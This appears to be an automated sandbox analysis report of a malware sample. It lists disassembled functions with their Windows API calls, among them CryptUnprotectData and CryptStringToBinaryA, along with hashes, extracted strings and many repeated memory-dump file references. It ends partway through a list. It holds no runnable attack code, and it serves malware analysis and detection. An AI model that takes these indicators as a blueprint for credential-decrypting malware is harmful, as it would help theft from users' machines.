Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: =u5=$C?~{$S]~$v4q6
API String ID: 0-3509047163
Opcode ID: 37a0b7d0e7bb78fd9491ec62ca968fb7833d310a5c61ee678360c444e3e0fbf0
Instruction ID: 529c2ec8f817a0977cf8a32aa7c0400e97cfe45d9fe77c11791537746cdf25d0
Opcode Fuzzy Hash: 37a0b7d0e7bb78fd9491ec62ca968fb7833d310a5c61ee678360c444e3e0fbf0
Instruction Fuzzy Hash: 01B209F3A08200AFE704AE2DEC8567AF7E9EF94720F16453DEAC5C3744E63598058697

Function 00BB9030 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00BA51D4,40000001,00000000,00000000,?,00BA51D4), ref: 00BB9050

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: 699724d8d0dc014267676513dca95998650490e9b022664d1d8f7f6df99cf2eb
Instruction ID: 4bbb89ffd1d0d7ed62fc369c2dd5ba04c45a245f9894c5deac5496df2bb95d99
Opcode Fuzzy Hash: 699724d8d0dc014267676513dca95998650490e9b022664d1d8f7f6df99cf2eb
Instruction Fuzzy Hash: 1E11F570204209EFDF00EF65D884BBA37E9AF89350F508488FA198B250D7B2E9419BA0

Function 00BAA210 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA23F
LocalAlloc.KERNEL32(00000040,?,?,?,00BA4F3E,00000000,?), ref: 00BAA251
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00BA4F3E,00000000,00000000), ref: 00BAA27A
LocalFree.KERNEL32(?,?,?,?,00BA4F3E,00000000,?), ref: 00BAA28F

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 0b3e7f36be4c39f1e7b306ab72b6e7b26c119063242a82102297f71bd675155d
Instruction ID: 598d51187a6f2e79881d38a74d7bf6038ef5ab07f0a34f23f1551f3dadb62c9f
Opcode Fuzzy Hash: 0b3e7f36be4c39f1e7b306ab72b6e7b26c119063242a82102297f71bd675155d
Instruction Fuzzy Hash: A011A4B4244308EFEB11CF64DC95FAA77B5EB89B10F208498FD199B390C772A941CB50

Function 00BB7BC0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0130E588,00000000,?,00BC0DF8,00000000,?,00000000,00000000), ref: 00BB7BF3
RtlAllocateHeap.NTDLL(00000000), ref: 00BB7BFA
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0130E588,00000000,?,00BC0DF8,00000000,?,00000000,00000000,?), ref: 00BB7C0D
wsprintfA.USER32 ref: 00BB7C47

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateInformationProcessTimeZonewsprintf
String ID:
API String ID: 3317088062-0
Opcode ID: 161db8e96e599904417ab2fd8231594e0c846f613653cd7ddd8fbe0bccac70d1
Instruction ID: 0f863ee44cada712b3398ab8ce47817acfd585eb52c957a9c5bbc16961981317
Opcode Fuzzy Hash: 161db8e96e599904417ab2fd8231594e0c846f613653cd7ddd8fbe0bccac70d1
Instruction Fuzzy Hash: A6118EB1949218EFEB20DF55DC45FA9BBB8FB44711F1003E9F619A32E0DB745A848B50

Function 00FF1F29 Relevance: 5.4, Strings: 3, Instructions: 1626COMMON

Download Yara Rule

Strings

HO\, xrefs: 00FF2CDB
4J3, xrefs: 00FF2D64
3B?d, xrefs: 00FF2E62

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3B?d$4J3$HO\
API String ID: 0-3104957160
Opcode ID: b50ebdfcba7c4b821547a191e0fe9e64eb644ff4bd623a4308261b5fb7c55b4a
Instruction ID: a039c29049ee2c655061c582d082a1859a57f7d4a57e27ec432e61ca00c57fa4
Opcode Fuzzy Hash: b50ebdfcba7c4b821547a191e0fe9e64eb644ff4bd623a4308261b5fb7c55b4a
Instruction Fuzzy Hash: 77B225F3A0C2049FE304AE29EC8567AFBE5EF98720F16493DE6C4C3744E63598458697

Function 00BB3970 Relevance: 4.6, APIs: 3, Instructions: 100comCOMMON

Download Yara Rule

APIs

CoCreateInstance.COMBASE(00BBE120,00000000,00000001,00BBE110,00000000), ref: 00BB39A8
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,00000104), ref: 00BB3A00

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: ByteCharCreateInstanceMultiWide
String ID:
API String ID: 123533781-0
Opcode ID: 920b264a5d9a44dbf7a68683a0db156a2cb84a3e72ee55b7cdd6c304093c2d4b
Instruction ID: f2c925f40ea14f6f4168663bc1d5c39a001d1fb3fe7f1899a6c0eba98e51556e
Opcode Fuzzy Hash: 920b264a5d9a44dbf7a68683a0db156a2cb84a3e72ee55b7cdd6c304093c2d4b
Instruction Fuzzy Hash: 1B410970A40A289FDB24DB58CC95BDBB7B4AB48702F5041D8E619E72A0D7B16EC5CF50

Function 00BAA2B0 Relevance: 4.6, APIs: 3, Instructions: 51memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00BAA2D4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00BAA2F3
LocalFree.KERNEL32(?), ref: 00BAA323

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID: Local$AllocCryptDataFreeUnprotect
String ID:
API String ID: 2068576380-0
Opcode ID: cdff6282b476a6a738fa2f469675c9c59b36e7523ce11ad9fa3e5a2e44102013
Instruction ID: 45fdf4323cc3a58fb0ef2475b1ac9e1615d00fe043bfb895044f1a87f02e5576
Opcode Fuzzy Hash: cdff6282b476a6a738fa2f469675c9c59b36e7523ce11ad9fa3e5a2e44102013
Instruction Fuzzy Hash: B111B7B8A00209EFCB04DFA5D985AAEB7B5FF89300F1045A9ED15A7350D730AE54CF61

Function 00FED779 Relevance: 3.5, Strings: 2, Instructions: 952COMMON

Download Yara Rule

Strings

bM5, xrefs: 00FEDED3
34, xrefs: 00FEE0B9

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 34$bM5
API String ID: 0-608696887
Opcode ID: a8e99287ab55b8bb49fc20abb1d60579ef9dac2d793788e5bc5d251f6c14043b
Instruction ID: 407ee019bb89ea0049402ee24aca231dc94b719801b04fc8e174cd02625386c1
Opcode Fuzzy Hash: a8e99287ab55b8bb49fc20abb1d60579ef9dac2d793788e5bc5d251f6c14043b
Instruction Fuzzy Hash: 0F52E6F360C2049FD304AE2DEC8577AFBE9EF94720F16852DEAC4C3744EA3558458696

Function 00C14BA8 Relevance: 3.4, Strings: 2, Instructions: 941COMMON

Download Yara Rule

Strings

?, xrefs: 00C154D5
__ZN, xrefs: 00C14FDF

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: ?$__ZN
API String ID: 0-1427190319
Opcode ID: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction ID: d2d7bb67f78d17b01ceb68b45f2e6ce87ad863c324919a1598a79620ffbddea5
Opcode Fuzzy Hash: 5979ebcfade6a94da10809392b5ca83137eebb76b9c6aa0d0269130114abb242
Instruction Fuzzy Hash: 3B720472908B50DFD718CF14C8906AEB7E2AFD6310F698A1DF4A55B391D370DD82AB81

Function 00FF5D2C Relevance: 3.4, Strings: 2, Instructions: 888COMMON

Download Yara Rule

Strings

WYmy, xrefs: 00FF620A
EdW~, xrefs: 00FF61FD

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: EdW~$WYmy
API String ID: 0-160116925
Opcode ID: 5f458d0497c9e6e112d1be09caf5175d0a4482aebdbeb2e85c9970379e279c45
Instruction ID: 0c1a7aa12767ef8f82f2c9f58b7b430c439af5c872cf044fbaf42af9d66e8725
Opcode Fuzzy Hash: 5f458d0497c9e6e112d1be09caf5175d0a4482aebdbeb2e85c9970379e279c45
Instruction Fuzzy Hash: 8652E5F390C6109FE304AE2DDC8577AB7E9EF94720F1A492DEAC487344E63598408797

Function 00BF5DB9 Relevance: 2.5, Strings: 1, Instructions: 1234COMMON

Download Yara Rule

Strings

xn--, xrefs: 00BF6009

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: xn--
API String ID: 0-2826155999
Opcode ID: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction ID: 2fa206f20abbf72ba79a5dcfdfc9885706d4f9fbaaf4438aa6d8525a590cf3e7
Opcode Fuzzy Hash: 7df6ecad3ed0aeae1596bd114aa1f7039c484854ff8b1381d6cb73b44afb5762
Instruction Fuzzy Hash: 58A2D0B1C0426C8AEF18CB68C8913FDBBF1EF45300F1842EADA5677281D7755E899B51

Function 00FEBA94 Relevance: 2.3, Strings: 1, Instructions: 1059COMMON

Download Yara Rule

Strings

@Wo, xrefs: 00FEC081

Memory Dump Source

Source File: 00000000.00000002.2175839429.0000000000E8A000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000D0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000E76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001007000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.00000000010E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.0000000001107000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000110D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175839429.000000000111D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176090990.000000000111E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176203878.00000000012B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2176220401.00000000012B3000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ba0000_file.jbxd

Yara matches

Similarity

API ID:
String ID: @Wo
API String ID: 0-1932671980
Opcode ID: 03cda79ea800828b07625b9aa02000512139942b8941ecefcecb25e5a8b996bd
Instruction ID: 2648c6ead367dddcae3e0a3b4a6de579f7238e498045a325c01a73c7671b2cca
Opcode Fuzzy Hash: 03cda79ea800828b07625b9aa02000512139942b8941ecefcecb25e5a8b996bd
Instruction Fuzzy Hash: C572C3F39086009FE304AE2DEC8577ABBE5EF94720F1A493DEAC4C7744E63598448697

Function 00BF4DC8 Relevance: 1.9, APIs: 1, Instructions: 411COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 00BF4DF3

Memory Dump Source

Source File: 00000000.00000002.2175620946.0000000000BCC000.00000040.00000001.01000000.00000003.sdmp, Offset: 00BA0000, based on PE: true

Associated: 00000000.00000002.2175605454.0000000000BA0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000BA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175620946.0000000000CE9000.00000040.00000001.01000000.00000003.sdmpDownload File
